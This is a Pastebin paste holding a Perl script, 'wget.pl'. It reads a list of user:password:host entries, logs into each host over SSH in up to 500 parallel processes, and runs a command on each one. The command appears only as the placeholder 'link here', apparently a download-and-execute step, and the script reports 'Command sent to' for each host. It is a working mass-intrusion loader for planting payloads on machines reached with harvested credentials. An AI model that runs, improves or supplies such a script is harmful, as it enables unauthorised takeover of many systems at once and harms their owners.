Advertisement
LNO_LiGhT

wget.pl

Jan 30th, 2016
2,007
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.08 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Net::SSH2; use Parallel::ForkManager;
  3.  
  4. $file = shift @ARGV;
  5. open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
  6. push(@newarray,@array);
  7.  
  8. }
  9. my $pm = new Parallel::ForkManager(500); for (my $i=0; $i <
  10. scalar(@newarray); $i+=3) {
  11.         $pm->start and next;
  12.         $a = $i;
  13.         $b = $i+1;
  14.         $c = $i+2;
  15.         $ssh = Net::SSH2->new();
  16.         if ($ssh->connect($newarray[$c])) {
  17.                 if ($ssh->auth_password($newarray[$a],$newarray[$b])) {
  18.                         $channel = $ssh->channel();
  19.                         $channel->exec('link here');
  20.                         sleep 10;
  21.                         $channel->close;
  22.                         print "\e[32;1mCommand sent to: ".$newarray[$c]."\n";
  23.                 } else {
  24.                         print "\e[0;34mCan't Authenticate Host: ".$newarray[$c]."\n";
  25.                 }
  26.         } else {
  27.                 print "\e[1;31;1mCant Connect To Host: ".$newarray[$c]."\n";
  28.         }
  29.         $pm->finish;
  30. }
  31. $pm->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement